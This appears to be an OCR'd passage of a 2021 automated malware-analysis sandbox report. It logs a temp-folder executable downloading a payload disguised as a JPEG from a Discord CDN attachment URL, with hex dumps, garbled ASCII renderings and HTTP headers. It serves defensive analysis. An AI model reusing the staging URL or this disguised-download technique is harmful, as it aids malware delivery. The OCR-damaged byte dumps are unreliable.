4f 20 45 58 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 57 20 4f 20 45 44 20
41 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 71 71 6d 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 45 4d 20 4f 20 58 4a 20 4f 20 6d
Data Ascii: MO O ggM O Xq O DW O DE O gOM O MM O DM O DW O DW O gOE O Wq O Em O DW O DW O Ep O
EW O DD O Xg O DW O DX O OE O gOp O XW O DW O DW O WE O XX O qgJ O DW O DW O EX O Wp O mp O Xq
O DW O DX O qgW O ED O DM O DW O DW O XE O qgm O Em O DW O DW O EM O XJ O m

2021-10-29 18:29:49 UTC 903 IN Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 71 4f 6d 20 4f 20 45 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 4d 20 4f 20 71 71 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4a 4a 20 4f 20 44 45 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 45 20 4f 20 57 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 45 20
Data Ascii: O DW O bw O WJ O qgM O bw O DW O bW O gOm O EM O DM O bw O bw O DW O bw O DW O bW O
DwW O bw O bW O bW O bw O bw O bW O DM O gqgE O XW O bW O bW O EO O qJJ O DE O DW O DW O DE O
EE O Wq O qgM O bw O bw O bw O bw © bw O bw O bw O bw O bw O bw O DW O DW O DE

2021-10-29 18:29:49 UTC 919 IN Data Raw: 4f 20 71 4a 4f 20 4 20 71 71 4d 20 4f 20 45 58 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 58 4a
20 4f 20 71 4a 71 20 4f 20 58 4d 20 4f 20 57 71 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 58 44 20 4 20 71 71 4d 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 45 6d 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45
4120 4f 20 71 4f 45 20 4f 20 58 57 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f
20 58 44 20 4f 20 71 4a 71 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f
20 6d 58 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 45 4a 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f
20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20
Data Ascii: 0 gJO O ggM O EX O qqW O MM O Wq O XJ O qJgq O XM O Wg O DD O Wp O XD O ggM O DW O DW O X
D O qqM O Em O EE O MX O WO O EO O OE O XW O gOM O XD O gJJ O MX O Wg O XD O gJg O XM O WO O XW
O DW O DW O EE O mX O DX O MX O EJ O EX O mX O MM O qOM O gJO O qOX O

2021-10-29 18:29:49 UTC 935 IN Data Raw: 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 58 6d 20 4f 20 45 45 20 4f 20 71 71 4d
20 4f20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20 71 71 6d 20 4f 20 71 4f 71
20 4f 20 71 4a 4f 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 58 70 20 4f 20 71 4f 58 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f
20 58 6d 20 4f 20 71 4f 45 20 4f 20 71 71 70 20 4f 20 57 6d 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 58
4f 20 4f 20 71 71 58 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 6d 45 20 4f 20 58 4f 20 4f
20 45 44 20 4f 20 71 4f 6d 20 4f 20 71
Data Ascii: W O DW O DW O DW O DW O DW O DW O DW O DW O DX O gJO O mM O WD O Xm O EE O qgM O qqW
0 qJJOEDO qJJOq0JOqggm O qOqgO gJO O Ep O XX O Xp O gOX O qgq O gOW O Xm O qOE O qgp O Wm O
qqg O Wgq O qgX O XO O qgX O Wp O mp O qgX © gJO O mE O XO O ED OqOm O q

2021-10-29 18:29:49 UTC 951 IN Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 45 58 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 57 4f 20
4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20
41 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f
20 45 4a 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57
Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O EX O qgM O MX O DW O qOp O DW O WO O DW
0 ¢gM O DW O DW O Wp O DW O Xg O DW O DW O DW O DW O DW O DW O DW O DW O XW O EJ O qgM O Ep O
DW O EW O qOp O DM O DW O DW O EM O Xq O DM O DW O DW O DW O DW O DW O DW O DW
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kBytes
Timestamp transferred

2021-10-29 18:29:49 UTC 967

2021-10-29 18:29:49 UTC 983

2021-10-29 18:29:49 UTC 999

Session ID Source IP

1 192.168.2.7
kBytes

Timestamp transferred

2021-10-29 18:29:50 UTC 1000

2021-10-29 18:29:50 UTC 1001

2021-10-29 18:29:50 UTC 1002

2021-10-29 18:29:50 UTC 1002

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49774

Direction

ouT

IN

Data

Data Raw: 71 71 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 6d 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20
71 71 45 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4a 20 4f 20 71 4f 4d
20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 71 58 20 4f
2058 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 6d 58 20 4f 20 6d 58 20
4f 20 4d 58 20 4f 20 71 4f 57 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 57 71 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 71 71
45 20 4f 20 57 70 20 4f 20 57 4f 20 4f

Data Ascii: ggO O mE O WD O Wm O qOp O mE O WD O qgE O MM O gOJ O XW O gqgD O Em O DW O DW O DW O
DW O DW O DW O DW O DW O ggJ O gOM O gJO O ME O ggX O XW O qgD O ED O ggX O XW O qgD O ED O qOp

O Xm O Xg O mX O mX O MX O qOW O WJ O qgE O Wg O WE O mE O gqgqE O Wp O WO O

Data Raw: 71 70 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 71 20 4f 20 71 71 45 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f
20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57

20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4a 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20
71 71 58 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 71 6d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4a 4a
20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a
20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a
20 4f 20 6d 70 20 4f 20 58 4f

Data Ascii: gp O gOO O WW O gqq O ggE O DM O qOX O gOM O qOO O gOW O DW O DW O DW O DW O DW O DW

O DW O DW O qgJ O gOM O gJO O ME O gqgX O XW O qgD O ED O ggqm O XX O EX O qJJ O mp O XO O gOD O WJ

O mp O XO 0 qOD OWJ O mpO X0 0O gOD O WJOmpO X0 0 qoD O WJ O mp O X0

Data Raw: 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 45 44
20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 71 4a 71 20 4f 20 57 44 20 4f 20 71 4a 4a 20 4f 20
45 71 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20
4120 45 44 20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 71 4f
57 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45
20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 44 45 20 4f 20 58 4a 20 4f 20 58 6d 20 4f 20 71
71 57 20 4f 20 45 71 20 4f 20 4d 4d 20

Data Ascii: O WD O ggX O EE O ¢qJO O qgX O mE O ED O qJJ O EE O MX O mE O qJq O WD O gJJ O Eq O mE O WD
0 qgX O EE 0 ¢qJO O qgX O mE O ED O ¢JJ O EE O MX O mE O gJg O MM O qOW O Wq O mE O Wm O EM O DX O

DW O XO O WE O DW O EX O ¢gM O gOD O DE O XJ O Xm O qqW O Eq O MM

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:50 GMT

Content-Type: image/jpeg

Content-Length: 257637

Connection: close

CF-Ray: 6a5e78bc2bec1772-FRA

Accept-Ranges: bytes

Age: 32550

Cache-Control: public, max-age=31536000

ETag: "3943342e1b45e890a729310467090869"

Expires: Sat, 29 Oct 2022 18:29:50 GMT

Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635499591484284

X-goog-hash: crc32c=wAW+lg==

x-goog-hash: md5=0OUMOLhtF6JCnKTEEZwklaQ==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 257637

X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaolgeenVA8XggFohgRrUig2qws-RHRU
WddueA29G7svclC2IfMWyq3dEjwegQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=cUuhONZFGFRN39GIrhXS82yw69UarJ9m
2tP7T3q1v2udyHIMErWMAMRaFyz%2FY 3ey4TpiyluSIATNOXdLgL4V9ewQfBHezGSi7OZPP1FpyiaajptCREfSq%2
FKn9bhCzF%2B3FIDQQ%3D%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 41
20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20
4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f
20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f
4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20
58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20
71 4f 4f 20 4f 20 57 57 20 4f 20 71

Data Ascii: O ggM O mE O WE O XX O qOgq O WD O XO O mE O XD O Wq O ggX O DX O mE O mM O qOO O WW O
qgM O mE O WE O XX O qOg O WD O XO O mE O XD O Wq O ggX O DX O mE O mM O qOO O WW O qgM O mE O
WE O XX O qOq O WD O XO O mE O XD O Wqg O qgX O DX O mE O mM O qOO O WW O q
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1003 IN Data Raw: 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 4f 20 4f 20 58 45 20 4f 20 57 4f
20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20
58 6d 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 4f 20 4f 20
45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 71 71 4a
20 4f 20 44 58 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71 4f 20 4f 20
6d 45 20 4f 20 71 71 4a 20 4f 20 71 4f
Data Ascii: O O WW O qgM O mE O WE O XO O XE O WO O mE O mp O qOD O qOp O qgM O DX O mE O Xm O DE
O mX O MM O mE O EqO XW O ggqO O EX O ggX O gOO O gOW O EJ O DM O XO O ggJ O DX O Xq O XW O EJ O
ggJ O qOp O DW O DW O DW O DE O WO O gOm O EJ O XX O qqO O mE O qqJ O qO

2021-10-29 18:29:50 UTC 1005 IN Data Raw: 4f 20 57 70 20 4f 20 57 6d 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 71 4a 4f 20
4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
7171 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20
Data Ascii: O Wp O Wm O gqO O gqgqW O XO O WE O qJO O qOO O EJ O qOD O mE O mE O mE O mE O mE O mE O
Wm O qqE O qgm O qgp O mE O mE O qqq O Wm O EM O qOD O mE O mE O mE O mE O mE O mE O mE O mE O
mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE

2021-10-29 18:29:50 UTC 1006 IN Data Raw: 71 71 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f
20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 45 44 20 4f
20 58 58 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 57 4a 20 4f 20 58 4a 20 4f
20 71 71 4d 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 57 20 4f 20 71 4a 71
20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20
Data Ascii: qgD O qgX O mE O qqq O WJ O EE O DW O mE O WO O gOX O qOW O Xg O XO O mp O ED O XX O qOM
OEJOmME O Em O XqO WJO XJ O qgM O Xq O qgM O ED O DW O DX O EW O gJgq O EM O XM O qgm O mE O mE
O mE O mE O mE O mE O mE O Wg O mE O mE O XO O mE O WE O mE O mE O

2021-10-29 18:29:50 UTC 1007 IN Data Raw: 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
70 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 70 20 4f
2071 7158 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 57 6d 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
Data Ascii: WJ O mE O mE O mE O mE O mE O mE O mp O EW O qOW O qggq O ggm O mE O Wm O mp O qgX O
qgm O mE O mp O gqgX O ggm O Wm O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
O mE O mE OmE O mE O mEO mEOmEO mEOmE O mEOmE O mEOmE O mEOmE

2021-10-29 18:29:50 UTC 1009 IN Data Raw: 20 58 4f 20 4f 20 57 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20
45 45 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 6d 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20
4f 20 44 57 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 6d 45 20
4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 58 45
20 4f 20 71 4a 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 6d
45 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 4f 20 4f 20
71 71 45 20 4f 20 57 57 20 4f 20 58
Data Ascii: XO O WE O qOO O Xq O qOW O WW O mE O EE O qOW O DM O ED O mM O qOW O XW O qOp O DW
O mX O mEOmMMOWW O gqOO O EJO mEOWmO qOg O gOD O XO O mE O WE O XX O XE O gJg O XO O mEO
DX 0 qJOOMMO EJO mE O ggX O MX O mE O DX O mE O mp O qgqO O qgE O WW O X

2021-10-29 18:29:50 UTC 1010 IN Data Raw: 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f
20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20
4120 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f
20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58
4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71
4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 2
0 58 4f 20 4f 20 6d 45 20 4f 20 58
Data Ascii: O XD O Wq O qgX O DX O mE O mM O gOO O WW O qgM O mE O WE O XX O gOg O WD O XO O mE O
XD O Wg O ggX O DX O mE O mM O gOO O WW O qgM O mE O WE O XX O gOg O WD O XO O mE O XD O Wq O
ggX O DX O mE O mM O gOO O WW O qgM O mE O WE O XX O qOg O WD O XO O mE O X

2021-10-29 18:29:50 UTC 1011 IN Data Raw: 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 71 71 57 20 4f 20 45 57 20 4f 20 57 57 20 4f 20 71 4f 44 20 4f 20 71
4f 45 20 4f 20 71 4a 4a 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20 71 71 45 20 4f 20 71 4f 45 20 4f 20 71 71 4a 20 4f20 71 71
70 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 57
7120 4f 20 71 71 4a 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 71 4f 71 20 4f
20 71 71 4f 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 71 4a 20 4f 20 57 6d 20 4f 20 6d
45 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4a 20 4f 20 71
71 45 20 4f 20 57 44 20 4f 20 58 6d 20
Data Ascii: O EX O qJg O qqW O EW O WW O qOD O qOE O gJJ O DD O XM O qqE O qOE O gqqJ O qgp O EJ O mE
0 q0J O XM O DD O WE O mE O Wq O gqqJ O WE O gOJ O XO O WE O WJ O qOq O qqO O ggm O mE O qOO O Wq
0 qgqJ O Wm O mE O Wgq O EX O Wq O qOgq O XO O mp O WJ O gqqE O WD O Xm

2021-10-29 18:29:50 UTC 1013 IN Data Raw: 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f
20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20 58 4d
20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45
20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 71 71 45 20 4f 20
58 4d 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20
6d 45 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 2
0 71 71 45 20 4f 20 45 45 20 4f 20
Data Ascii: O mE O mp O MX O gOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qgE O XM O DW O
mE O mp O MX O qOM O DW O XO O mE O qOM O Wp O qOp O DX O mE O Wp O qgqE O XM O DW O mE O mp O
MX O gOM O DW O XO O mE O gOM O Wp O gOp O DX O mE O mE O mE O qqE O EE O
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Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1014 IN Data Raw: 44 57 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 45 6d 20 4f 20 45 44 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45
20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d
